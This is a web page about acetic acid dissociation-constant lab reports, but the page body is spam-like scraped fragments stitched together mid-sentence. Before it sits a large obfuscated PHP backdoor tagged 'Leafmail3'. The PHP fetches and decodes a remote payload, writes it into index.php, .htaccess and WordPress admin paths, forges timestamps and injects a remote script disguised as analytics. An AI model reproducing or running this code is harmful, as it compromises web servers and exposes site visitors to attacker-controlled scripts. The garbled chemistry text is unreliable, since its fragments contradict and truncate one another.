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<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
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<p><span style="font-size: inherit;"><span style="color: rgb(0, 112, 192);"><b>Acid constant of acetic acid lab report.  One important chemical characteristic of an acid is its dissociation constant, Ka.  Equilibrium constants for weak acids and bases.  7.  of pure acetic acid solutions and a half-neutralized solution of acetic acid. edit - Free download as Word Doc (.  The dissociations of these and the expressions for the respective equilibrium constants are shown below: HA(aq) + H2O(l) H3O+(aq) + A&minus;(aq) &hArr;.  Now, this incident involved 100,000 pounds of the acid being released.  Once the glacial acetic acid begins to freeze, the curve will flatten out, and begin to descend again after all of the liquid has solidified. This reaction is reversible and equilibrium point is shifted to the left side (In strong acids such as HCl, equilibrium point is shifted to right side).  K a = [CH 3 COO &minus;][H 3 O +] [CH 3 COOH] =1. 75 &times; 10 &minus;5: 4.  Write the equation for the ionization of acetic acid in aqueous solution.  Subsequently, we Strong acids, like hydrochloric acid, are completely dissociated in water, but weak acids, like acetic acid, are only partially dissociated.  In the reaction the acid and base react in a one to one ratio. 05 M monochloroacetic acid by weighing the appropriate amount of crystals of monochloroacetic acid; both glacial acetic acid Acetic Acid (CH3COOH)- Acetic Acid is an organic compound with formula CH3COOH.  Specialized equipment is needed to perform a titration.  A unknown weak acid is titrated with 0.  Procedure: About 50ml of hot water was prepared in a 100-150 beaker about 50 degree Celsius.  Benzoic Acid. 8 x 10-5 4.  banana .  Choosing a suitable acid-base indicator in a titration An acid-base indicator is a weak organic acid (denoted as HIn) whose color differs from the color of its conjugate base (In-).  the earlier buffer experiment, standard solutions of 1.  Acid Ionization Lab Report: Name: Caitlin Bettenay Date: 19th April 2017 There is not a formal lab report for this lab.  Determining the freezing point acids or bases.  Complete the below pages and submit them to your TA before leaving lab.  6.  The extent of dissociation can be calculated from the value of the equilibrium constant and the amounts of weak acid and strong base added to the solution. 756 : Arsenic acid: H 3 Laboratory Manual, Physical Chemistry, Year 1 Experiment 5 _____ EXPERIMENT 5 MOLAR CONDUCTIVITIES OF AQUEOUS ELECTROLYTES Objective: 1 To determine the conductivity of various acid and the dissociation constant, K a for acetic acid Theory 1. e.  Use flasks fitted with stoppers.  It has a pungent smell and a sour taste. 1 mol dm3 431 0.  LEARNING OBJECTIVES.  Acetic acid: CH 3 CO 2 H: CH 3 CO 2-1. 5 and 20 MPa by AC Conductivity Methods.  Chemistry 213.  My colleagues and I prepared various solutions like acid, base, and water in 4 Erlenmeyer flasks.  pear .  Physical Properties Table 1: Name of the reagent Structure MP Salicylic Acid 158 &deg;C.  From the measured pH and concentration of a weak acid solution you can determine the value of &#92;(K_{a}&#92;) for the acid.  it becomes more obvious that the stronger acid of the two, acetic acid, has the larger K.  Acid Ionization Lab Report: Name: Mia Mills-Leonard Date: 04/14/ There is not a formal lab report for this lab.  Weak acids are only slightly ionized. . , H+) to a water molecule (the base) to produce the ions H 3O + and Cl-.  Vinegar, a widely used preservative, cleaning product, and cooking ingredient, is a solution of acetic acid (HC 2 H 3 O 2 ) and water.  The third solution was a mix of 10 ml of 1 M acetic acid with 25 ml of 1 M sodium acetate. Through the process of conductivity, the dissociation constant of the weak electrolyte, acetic acid, can be determined.  DETERMINING ACID DISSOCIATION CONSTANT Ka.  Stir thoroughly and vigorously so as to mix the You will also have to prepare your own acid stock solutions, 1) 250 ml of &asymp; 0. 31 5 m&sup2; moi-1 Abstract: The objective of this experiment is to determine the degree of dissociation (&alpha;) and the thermodynamic equilibrium constant (K a ) for acetic acid, HAc at 25 &ordm;C.  The Ka was found to be 4-7.  For this discussion, assume that HA is a weak acid and B is a weak base. , 2015). 100M NaOH, and so when 25.  0 of salicylic acid was weighed out and placed in a dry 5-ml 1 Prepare aqueous solutions of acetic acid into numbered flasks following the scheme given in the table Table 1.  HC 2 H 3 O 2.  The distillate contains the n-butyl acetate plus the impurities; n-butyl alcohol, acetic acid, sulfurous acid (from reduction of some of the sulfuric acid--a side reaction), and water.  Determine the ionization/dissociation constant for the acetic acid. 2 x 10-10.  Similarly, you will then titration a weak base (NH The second solution was 10 ml of 0 M acetic acid.  Theoretical background 1.  Stir thoroughly and vigorously so as to mix the Tuesday, 8am-12pm Experiment: 9: Acid-Base Equilibria: Determination of Acid Ionization Constants Students were able to determine the pH of a solution and observe its resistance to change Acetic acid concentration Volume of acetic acid used in the preparation of the 250 mL solution Measured conductivity, pS/m Molar conductivity, Am Degree of dissociation, a Dissociation constant, K 0.  The fourth solution was a mix of 10 ml of 1 M acetic acid with 25 ml of 1 M sodium acetate and 40 ml of deionized water.  example, if two acids are compared in terms of their K a values and pK a&rsquo;s; K a pK a acetic acid, HC 2H 3O 2 1.  perform the experimental titration of HC2H3O2 with NaOH. Vinegar is a water solution of acetic acid containing 5-8% of acetic acid by volume.  Acetic acid (8 drops) Octyl alcohol (20 drops) Octyl acetate .  Acetylsalicylic acid 136 &deg;C.  method I and II are compared The following equation shows the dissociation of the weak acid, acetic acid: CH 3 COOH (aq) + H 2 O &iacute; H 3 O+ (aq) + CH 3 COO-(aq) (1) The dissociation of a weak acid such as acetic acid obeys the law of mass action, which leads to the following expression: Ka= [CH 3 COO-] [H 3 O+]/[CH 3 COOH] (2) where Ka is the dissociation (or ionization exercise: Title, Lab Purpose, Procedure and Data Tables.  Briefly describe Ka.  Purpose: The purpose of this experiment is to determine the dissociation constant (Ka) of acetic acid (CH 3 COOH) and the pH of various phosphate salts (NaH2PO4, Na2HPO4, Na3PO4).  The excess acetic anhydride will be quenched (reacted) with the addition of water.  We can also apply exactly the same principles to determine the molar mass and ionization constant of an unknown weak monoprotic acid.  Introduction.  1.  To know the relationship between acid or base strength and the magnitude of Ka, Kb, pKa, and pKb. 00 mL of NaOH has been added all the acetic acid will be converted to acetate ions, but the volume has doubled and so the concentration is now 0.  Acetic anhydride &minus;73 &deg;C.  BACKGROUND.  Purpose In this experiment you will learn to calibrate and use a pH probe and then construct a titration curve (graph) in order to determine the molarity and K a (acid dissociation constant) of an unknown acid.  (3) Another way to 